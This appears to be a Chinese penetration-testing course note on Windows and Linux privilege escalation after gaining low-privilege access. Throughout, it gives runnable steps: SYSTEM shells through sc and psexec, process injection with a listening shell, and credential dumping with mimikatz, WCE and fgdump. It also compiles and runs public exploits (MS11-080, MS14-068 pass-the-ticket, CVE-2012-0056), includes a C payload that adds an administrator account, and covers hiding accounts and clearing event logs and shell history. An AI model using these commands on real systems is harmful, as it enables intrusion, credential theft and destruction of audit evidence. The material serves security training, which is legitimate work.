• 安全牛-提权


    auth.log


    本地提权
    已实现本地低权限账号登录
      远程溢出
      直接获得账号密码
    希望获取更高权限
      实现对目标进一步控制

    前提:
    已经登录到目标系统的服务器上,但是得到的是一个低权限用户,进行提权,最终达到全面控制目标系统


    系统账号之间权限隔离
      操作系统安全的基础
      用户空间
      内核空间
    系统账号
      用户账号登陆时获取权限令牌
      服务账号无需用户登陆已在后台启动服务

    了解:
    操作系统多用户,没有单用户的。
    多用户操作系统指的是一个系统里可以设置多个用户账号,可以是用户账号也可以是应用程序的账户(让某些应用程序以这个账户去执行应用程序)。

    目的:
    实现不同账户之间的权限分离,因为所有的事情给一个账号去做,那么就需要给这个账号最大的权限。账户密码一旦失窃,HACK获得之后,控制服务器。

    安全建议:
    不同的应用,不同的用户,不同的人,都创建各自独立的账号,赋予每个账号相应的权限,给于它完成本职工作足够的权限,除了本职工作之外的权限都不给于。

    渗透:
    当渗透的时候,拿到一个权限非常受限的账号密码,登录进去发现自己在这个系统中能做的事情很少,有可能只是对一个应用/一个服务可以有基本的控制和使用权,甚至控制权都没有只有使用权,即使拿到账号密码离最终的目的相距甚远。

    用户空间:
    可以由各个用户账户使用用户空间,在里面执行各种操作,编辑文档/安装软件/对系统进行定制化等等一些操作

    内核空间:
    工作在与用户空间完全独立的内核空间,内核空间里的所有操作是用户空间里的用户没有办法去接触到的,出于安全性考虑,不同的操作系统也为内核空间的操作,也划分了不同的账号,有的账号可以做一些低层的,核心的操作;也有一些被限制权限非常小,只能做很有限的一点点内核操作。

    小结:
    现在的操作系统,已经把不同的用户划分到各自非常独立的,非常有限的空间里面。

    安全检查:
    用户权限的赋予,做安全审计时候,非常非常重要的一个工作项目

    用户账号:
    最高权限账号创建用户,当用户登陆时获取唯一权限令牌,下一次登录是获取随机令牌。

    服务账号:
    即使用户账户不登录系统,这些服务用户已在后台启动服务

    Windows
      user
      Administrator
      System
    Linux
      User
      Root

    默认用户:
    user,Administrator,System(负责启动系统内核,真正的最大权限者)

    用户提权:
    user-->administrator-->system(他们的权限之间是有交集,不是完全包含,user被administrator包含)
    当获得user提权为administrator
    当获得administrator提权为system


    ADMIN提权为SYSTEM
    Windows system账号
      系统设置管理功能
       SysInternal Suite
          https://technet.microsoft.com/en-us/sysinternals/bb545027
          psexec -i -s -d taskmgr
       at 19:39 /interactive cmd
       sc Create syscmd binPath= "cmd /K start" type= own type= interact
       sc start syscmd


    设置密码
    net user 账户名字 *
    查看当前账户情况(属于哪个组)
    net user 账户名字
    图形化查看
    管理-->本地用户和组-->属性-->隶属于-->哪个组
    思路
    调用系统功能来提权,这些功能默认使用system去执行
    提权--将administrator提权为system
    1.at---只能在window xp /window 2003
    at /?
    at
    at 19:39 /interactive cmd  交互
    启动任务管理器(查看cmd的权限是否为system)
    可以在该cmd窗口下,输入一些命令执行相关操作,举例:notepad
    每个进程都单独启动比较繁琐,能否用system账号把administrator的explore杀死
    taskmgr 打开,explore 杀死,桌面环境消失
    任务管理器中,文件,创建新任务,输入explore ,桌面环境出现,点击开始,可以查看当前用户权限    
    这时就不需要使用命令行去执行命令了。
    当遇到有些操作需要administrator权限,注销就可以回到administrator
    2.sc---win7/win8
    创建系统命令
    sc Create syscmd binPath= "cmd /K start" type= own type= interact  
    查看创建的服务
    services.msc
    命令行启动
    sc start syscmd
    3.外置软件
    (1)SysInternal Suite
    找到whoami程序(不能使用就找网上找一个),放到window/system32/
    命令行下使用 whoami(administrator)
    sc start syscmd 打开一个新的窗口
    whoami(system)
    (2)在SysInternal Suite找到PsExec.exe 放到window/system32/
    命令行下运行PsExec.exe-->agree
    查看参数
    -i 交互模式
    -s 使用system账号
    PsExec.exe -i -s


    注入进程提权
    隐蔽痕迹
      pinjector.exe
      http://www.tarasco.org/security/Process_Injector/ (工具找不到了。。。)

    目的:
    实现目的也是从管理员提升成system账户,也可从管理员提升为低权限账号,或者提升生成其他管理员账号。
    总之,可以将自己提升成不同权限的账号

    思路:
    找一个system运行的服务进程,把自己注入到进程里面,注入到进程里就和进程有同样的用户权限,也就是system。

    流程:
    默认情况下,使用操作系统自带的程序是无法实现的,所以必须使用第三方程序(进程注入器)
    下载http://www.tarasco.org/security/Process_Injector/
    pinjector.exe放到window/system32/
    pinjector.exe 运行命令
    pinjector.exe -l 列出可注入的进程
    pinjector.exe -p pid cmd 5555 注入到系统正常的服务里,侦听555端口(一定要注入services.exe,查看后面是否为system运行)
    netstat -ano | find “5555” 查看端口
    任务管理器-->查看-->选择列-->PID(服务名字与PID没有改变)
    nc -nv ip 5555 (连接不上,原因防火墙开启)

    查看进程,手动查杀进程
    SysInternal Suite中有一个presxp文件
    查看注入的服务中(详细信息,属性-TCP/UDP),存在的问题。

    好处,
    不增加任何新的进程,隐蔽痕迹。
    即获得system权限,又相当隐蔽的效果。

    网上案例
    https://www.cnblogs.com/NBeveryday/p/6239351.html  



    抓包嗅探--获取目标密码
    Windows
      Wireshark
      Omnipeek
      commview--xp
      Sniffpass--基于抓包收集密码
    Linux
      Tcpdump
      Wireshark
      Dsniff--基于抓包收集密码

    sniffpass-win
    win开启sniffpass
    kali下开启ftp
    service pure-ftpd start
    netstat -pantu | grep 21
    win访问ftp
    ftp://ip
    观察sniffpass

    Dsniff--kali
    dsniff -h
    dsniff -i eth0


    键盘记录--获取目标密码
    Keylogger
    木马窃取

    法国木马
    DarkComet  


    本地缓存密码
    浏览器缓存的密码
      IE浏览器
      Firefox
    网络密码    
    无线密码
    http://www.nirsoft.net(密码破解网站)
    Dump SAM
      Pwdump(kali下面默认集成,该工具可以远程执行)
      /usr/share/windows-binaries/fgdump/


    浏览器缓存
    登陆一个网站,提示是否记住,这样是为了方便工作使用,因为这次登陆需要输入密码,那么下一次登陆还需要输入密码,这样用户体验差,浏览器为了人性化的考虑,提示保存密码,保存之后下一次登陆网站的时候,浏览器会自动将信息填入到相应的表单中。

    思路
    如果登陆控制了一台服务器,可以通过一些方法,把浏览器中保存的这些历史账号密码提取出来,从而发现用户登陆更多系统的账户密码

    实战
    Firefox:Edit--->perferences-->Security-->Eemeber password for sites--->Saved Passwords--->show passwords
    IE浏览器:工具-->Internet-->内容-->自动完成“设置”--->管理密码
    网络密码-->控制面板-->凭据管理器-->查看相应的凭据
    Pwdump(从SAM中读取)-->放入xp系统-->命令行-->Pwdump.exe-->找到数据库window/system32/config/SAM (文本直接读取是打不开的)-->利用Pwdump读取SAM文件账户和密码--->Pwdump.exe localhost-->保存hash-->kali下利用ophcrack破解hash



    WINDOWS身份认证过程







    WCE(WINDOWS CREDENTIAL EDITOR)
    kali目录下,/usr/share/wce/
    需要管理员权限
    wce-universal.exe -l / -lv
    wce-universal.exe -d
    wce-universal.exe -e / -r
    wce-universal.exe -g
    wce-universal.exe -w
    LM/NT hash

    原理
    从内存中读取,必须是用户登录状态

    实战
    cd /usr/share/wce/
    ls
    ls -l
    将wce-universal.exe拷贝到目标机
    wce-universal.exe -l 显示当前已经登录状态的账号
    wce-universal.exe -lv 显示当前已经登录账号的详细信息(登录账号不注销,切换查看)
    wce-universal.exe -r 每隔5秒,刷新当前已经登录账号状态(登录账号不注销,切换查看)
    wce-universal.exe -e 指定刷新时间,刷新当前已经登录账号状态(登录账号不注销,切换查看)
    wce-universal.exe -d seesion值 删除
    wce-universal.exe -g 计算的值    计算生成的hash值
    wce-universal.exe -w 读取内存密码,查看创建的用户与密码
    net user xxx 查看用户是否归属于管理员组

    将a的会话改为b的会话(账号秘密更改)
    wce-universal.exe -i a的luid -s b的账户信息
    wce-universal.exe -lv


    从内存读取LM / NTLM hash
    Digest Authentication Package
    NTLM Security Package
    Kerberos Security Package
    防止WCE攻击
    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaSecurity Packages
      kerberos
      msv1_0
      schannel
      wdigest
      tspkg
      pku2u

    思路
    删除Digest Authentication Package,重启之后使用wce查看密码就看不到了

    实战
    regedit
    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaSecurity Packages
    删除wdigest,读取不到密码,系统自动关机,再次启动这时系统已经被注入,被破坏了。继续使用的话容易出现问题。。。



    其他工具
    pwdump localhost ---提取密码hash值
    fgdump
    mimikatz
      privilege::debug #提升权限
      sekurlsa::logonPasswords
      ::


    fgdump
    位置 /usr/share/windows-binaries/
    拷贝到目标机器,双击”fgdump“,生成3个文件,查看文件内容
    其他账户没有登录的情况下,fgdump依旧可以读取到其他用户密码

    mimikatz(大神级别)
    位置 /usr/share/mimikatz
    ls (选择相应的版本32/64)
    拷贝到目标机器
    执行命令mimikatz.exe
    ::  查看参数
    privilege::debug 提升权限
    sekurlsa::logonPasswords 查看登录信息
    process ::list 进程列表
    process ::start calc 启动进程
    process ::suspend xx 冻住某个进程
    process ::resume xx 恢复某个进程
    lsadump::sam  读取密码(win7/8可以执行)
    lsadump::cache
    lsadump::lsa
    lsadump::hash
    ts:: 终端服务,多用户登录交互
    ts::multirdp 打补丁,可以多用户登录,互不干扰

    查处操作系统日志
    eventvwr
    event::clear 清除系统安全性日志
    event::drop 不产生新的日志,登录信息不会记录到日志,管理员进行审计会审计不到

    misc::cmd 启动cmd
    net localgroup
    misc::regedit 启动注册表
    misc::wifi 查看连接过的无线密码

    tocken::
    tocken::whoami 查看当前用户
    tocken::list


    利用漏洞提权(没有打补丁的情况下)
    Ms11-080
    Kb2592799
      https://technet.microsoft.com/library/security/ms11-080
    Pyinstaller
      https://pypi.python.org/pypi/PyInstaller/2.1
    python pyinstaller--onefile ms11-080.py
    Pywin32
      http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
    MS11-046
      DoS


    利用低权限提权
    Ms11-080---
    表示11年发现的第80个漏洞。
    Kb2592799
    表示关于漏洞描述以及漏洞的解决办法。
    MS11-046
    可以实现DoS

    实战(PC本地提权)
    searchsploit ms11-080 搜索漏洞
    cp /usr/share/exploitdb/platforms/windows/local/18176.py .  拷贝到当前目录
    复制到目标机器,目标主机安装有p0ython
    cd /Python27
    python.exe 18176.py    -O XP
    在中文版本xp系统上实现的是拒绝服务攻击,在英文版本上实现的是提权    
    appwiz.cpl  检查补丁信息
    卸载存在的Kb2592799
    问题来了,不可能所有的目标机器都有安装python的机会,这时候怎么办?
    在本机下编译为exe文件
    问题又来了,如何编译?
    第一,有python环境;
    第二,组件Pyinstaller
    第三,组件Pywin32
    第四,先装pywin32,后解压Pyinstaller
    第五,将解压后的Pyinstaller放到pyhon32中,后将18176.py放入Pyinstaller中
    第六,cd --->cd python27PyInstaller-2.1--->dir--->../python.exe PyInstaller.py --onefile 18176.py
    第七,将文件拷贝到目标机器的临时文件夹,确认目标机器是普通用户权限(net user xx)
    第八,cd -->cd temp-->net user xx(查看当前用户是否为普通用户)---->18176.exe -O XP
    第九,再次查看自己的权限,成功提权,所有管理员权限都可以做
    net localgroup administration xx /add
    接下来可以进行修改管理员权限



    Ms14-068

      https://github.com/bidord/pykek
    ms14-068.py -u user@lab.com -s userSID -d dc.lab.com
    拷贝 TGT_user1@lab.com.ccache 到windows系统
    本地管理员登陆
      mimikatz.exe log "kerberos::ptc TGT_user@lab.com.ccache" exit

    思路
    可通过ms11-080漏洞获得一台机器本地管理员的控制权,但是很多公司有域管理(微软定义安全边界)

    前提
    拥有本机的管理员权限。

    利用
    成功利用,可以获得域里面一台普通用户的管理员权限,可以是域里面的一名普通用户,只要具有本机的管理员权限,就可以获得域的管理员权限

    搭建域控
    47-1 -----(50-60)

    实战(win7下可以,xp失败,将本地管理员提权为域控管理员权限)
    searchsploit ms14-068 搜索
    cp /usr/share/exploitdb/platforms/windows/remote/35474.py .  拷贝到当前目录
    1.首先在kali下,生成票据文件
    python 35474.py -u user@lab.com -s userSID -d dc.lab.com
    -u 指定当前域账号用户,域给分配的最低权限的
    -s 账号的SID (net user xx domain,,,,,利用脚本whoami查看)
    -d 域名(计算机属性-->计算机名-->完整的计算机名称,解析不了域名,所以直接指定域管理地址IP)
    提示输入密码,user@lab.com的密码,已经掌握的密码
    2.然后将票据文件拷贝到windows系统去使用
    使用本地管理员账号登陆,将票据文件与mimika放在同一个文件夹下
    3.最后在windows下利用mimikatz完成票据的提升
    cd
    dir
    kerberos::ptc TGT_user@lab.com.ccache
    net use \w2k3.lab.comadmin$  访问域共享文件夹
    klist 列举当前身份验证信息
    运行-->\w2k3.lab.comc$
    regedit 打开一个注册表,连接一个网络注册表
    mimikatz.exe log "kerberos::ptc TGT_user@lab.com.ccache" exit
    域下的普通用户是无法访问\w2k3.lab.comc$

    在域控下,对比3种工具的
    fgdump 只能查看本地的用户信息
    wce 可以查看域里面的用户信息(当前当管理员登陆到你的机器上,这时候你们同时在线,可以使用wce查看当前登陆用户的信息,前提你是本机的管理员)
    mimikatz(privilege::debug 提权---->kerberos::list---->sekurlas::logonPasswords )

    库的问题
    初次使用ms14-068.py -u user@lab.com -s userSID -d dc.lab.com脚本的时,会遇到一个报错提示,缺少一些库文件
    下载软件包
    https://github.com/mubix/pykek  



    Ubuntu11.10
       http://old-releases.ubuntu.com/releases/11.10/
    gcc
      sudo apt-cdrom add && sudo apt-get install gcc
      gcc 18411.c -o exp
    CVE-2012-0056
      /proc/pid/mem
      kernels >=2.6.39
      http://blog.zx2c4.com/749


    实战
    搜索漏洞代码
    searchsploit cve-2012-0056
    searchsploit 18411.c
    拷贝目标机器
    cp /usr/share/exploitdb/platforms/linux/local/18411.c .    
    目标机器安装gcc
    sudo apt-cdrom add && sudo apt-get install gcc    
    修改为exp
    gcc 18411.c -o exp
    给exp权限
    chmod +x exp
    查看当前权限
    w
    运行
    ./exp
    命令查看
    id

    遇到的问题
    安装不上gcc

    解决办法
    加载iso光盘
    将光盘挂载到目录mnt或者media/cdrom    
    ls /mnt/
    ls /media/
    mount /dev/cdrom /media/cdrom
    查看挂载情况
    ls  /media/cdrom
    将cd作为更新源
    apt-cdrom add
    安装gcc    
    apt-get install gcc


    利用配置不当提权


    与漏洞提权相比 更常用的方法
      企业环境
      补丁更新的全部已经安装
      输入变量过滤之外更值得研发关注的安全隐患
      以system权限启动
        NTFS权限允许users修改删除

    思路
    在一些企业用户安全意识比较好的,有补丁安装更新的策略,不容易发现企业中有一台很老的漏洞供hack去利用,在安全制度比较健全,比较完善的企业里比较难发现这样的漏洞,去完成提权。
    在企业环境下,想进行提权,有的情况下就无法利用漏洞了,那么就可以采用其他的一些方法....
    利用管理员对服务器权限的分配不当完成权限的提升,操作系统的服务都是默认以system权限运行的,开发人员的意思不够强,没有在代码里进行相应的参数过滤等等安全机制的增加,在操作系统中启动就是以system权限运行的,渗透进入一台主机的话,如果找不到漏洞提权,可以查看当前系统的操作系统权限,查看某些服务是不是以system权限执行,找到存在的系统服务,可以尝试替换启动服务的执行程序,如果执行程序可以替换掉,服务下次开机服务启动的时候,被替换为我们的反弹shell程序,程序被执行,就可以获得系统的执行权限(更加常见的情况)

    条件
    查看服务的权限(services.msc---是否为本地系统)
    同时了解程序NTFS权限(启动的NTFS权限限制不严谨,允许普通用户去修改/删除/替换,就可以使用反弹shell程序替换)


    icacls
       icacls c:windows*.exe /save perm /T
       i586-mingw32msvc-gcc -o admin.exe admin.c
    Find
       find / -perm 777 -exec ls -l {} ;


    如何快速发现配置不当的权限
    icacls
    icacls c:windows*.exe /save perm /T  保存为文本
    打开文本perm,查找“FA:::BU”,

    反弹shell代码--admin.c
    #include<stdlib.h>
    int mian()
    i=system("net localgroup administrator a /add");
    return 0;
    }
    编译
     i586-mingw32msvc-gcc -o admin.exe admin.c
    查看
    file admin.exe
    拷贝
    cp xx xx

    linux下查找
    ls -l
    find / -perm 777 -exec ls -l {} ;

    应用系统的配置文件
      应用连接数据库的配置文件
      后台服务运行账号

    思路:
    比如渗透进入一个web应用系统,无论是哪种架构的程序,应用服务器与数据库之间都会有连接,基于这个特点控制一台应用服务器权限,可利用应用程序的配置文件,配置文件里面可能存在用户账号密码。

    基本信息收集
    Linux
       /etc/resolv.conf  dns配置
       /etc/passwd      用户账户
       /etc/shadow      用户密码
       whoami and who -a
       ifconfig -a, iptables -L -n, netstat –r  ip/防火墙设置/网关
       uname –a, ps aux  操作系统版本,进程
       dpkg -l | head 所有安装的软件包

    实战
    ls /etc/passwd -l
    ls /etc/shadow -l

    Windows
       ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r  所有的网络配置参数/dns缓存/查看路由    
       net view , net view /domain 查看网络共享的
       net user /domain, net user %username% /domain 查域账号
       net accounts, net share   查看当前机器开启的共享
       net localgroup administrators username /add 添加管理员组
       net group "Domain Controllers" /domain 域环境下,可以查看到Domain有哪些主机账户
       net share name$=C: /unlimited  开启C盘共享
       net user username /active:yes /domain  域环境下,在有域管理员权限下,发现锁定账号,启动账号

    实战
    ipconfig /displaydns 可以发现目标经常访问哪些重要的服务器


    WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)
       wmic nicconfig get ipaddress,macaddress 读取mac地址
       wmic computersystemget username 读取当前登录账户
       wmic netlogin get name,lastlogon 读取上次登录记录
       wmic process get caption, executablepath,commandline 读取使用进程
       wmic process where name=“calc.exe" call terminate 结束进程
       wmic os get name,servicepackmajorversion 提取操作系统版本
       wmic product get name,version 查看安装软件
       wmic product where name=“name” call uninstall /nointeractive 后台运行删除软件
       wmic share get /ALL 查看共享文件夹
       wmic /node:"machinename" path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections"1“ 开启远程桌面
       wmic nteventlogget path,filename, writeable 查看当前系统日志

    收集敏感数据
    商业信息
    系统信息
    Linux
      /etc ;/usr/local/etc
      /etc/passwd ;/etc/shadow
      .ssh ;.gnupg 公私钥
      The e-mail and data files
     业务数据库 ;身份认证服务器数据库
      /tmp 临时目录

    实战:
    ls -la 查看.文件
    cat .ssh/know_hosts 查看登录过的秘钥
    cd .gnupg 公私钥


    windows
       SAM 数据库 ; 注册表文件
       %SYSTEMROOT% epairSAM  修复的版本的sam
       %SYSTEMROOT%System32configRegBackSAM  备份的sam
      业务数据库 ; 身份认证数据库
      临时文件目录
       UserProfileAppDataLocalMicrosoftWindowsTemporary Internet Files

    实战:



    隐藏痕迹
    禁止在登陆界面显示新建账号
    REG ADD "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
    NTCurrentVersionWinLogonSpecialAccountsUserList" /v uname /T
    REG_DWORD /D 0
    del %WINDIR%*.log /a/s/q/f
    History
    日志
       auth.logauth.log / secure
       btmp / wtmp
       lastlog / faillog
    其他日志和 HIDS 等

    实战:
    1.win
    禁止在登陆界面显示新建账
    REG ADD "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinLogonSpecialAccountsUserList" /v 用户名 /T REG_DWORD /D 0
    在net user中不显示
    ????
    删除日志
    del %WINDIR%*.log /a/s/q/f
    2.kali
    ls -l .bash_history    
    history -c
    lsattr 查看文件属性,与权限相关的
    chattr 更改权限
    ls auth.log 日志文件
    ls btmp 数据文件
    ls lastlog 登录信息











  • 相关阅读:
    自动化测试框架搭建:Pytest+request+Allure
    免密登录
    Python中函数、方法的区别
    Python中的深浅拷贝
    Linux日志中如何查找关键字及其前后的信息
    kibana7.4.2配置文件
    Java消息队列——JMS概述
    Bootstrap学习(一):Bootstrap简介
    设计模式:简单工厂模式
    Java内存模型
  • 原文地址:https://www.cnblogs.com/-lyr/p/11010340.html
Copyright © 2020-2023  润新知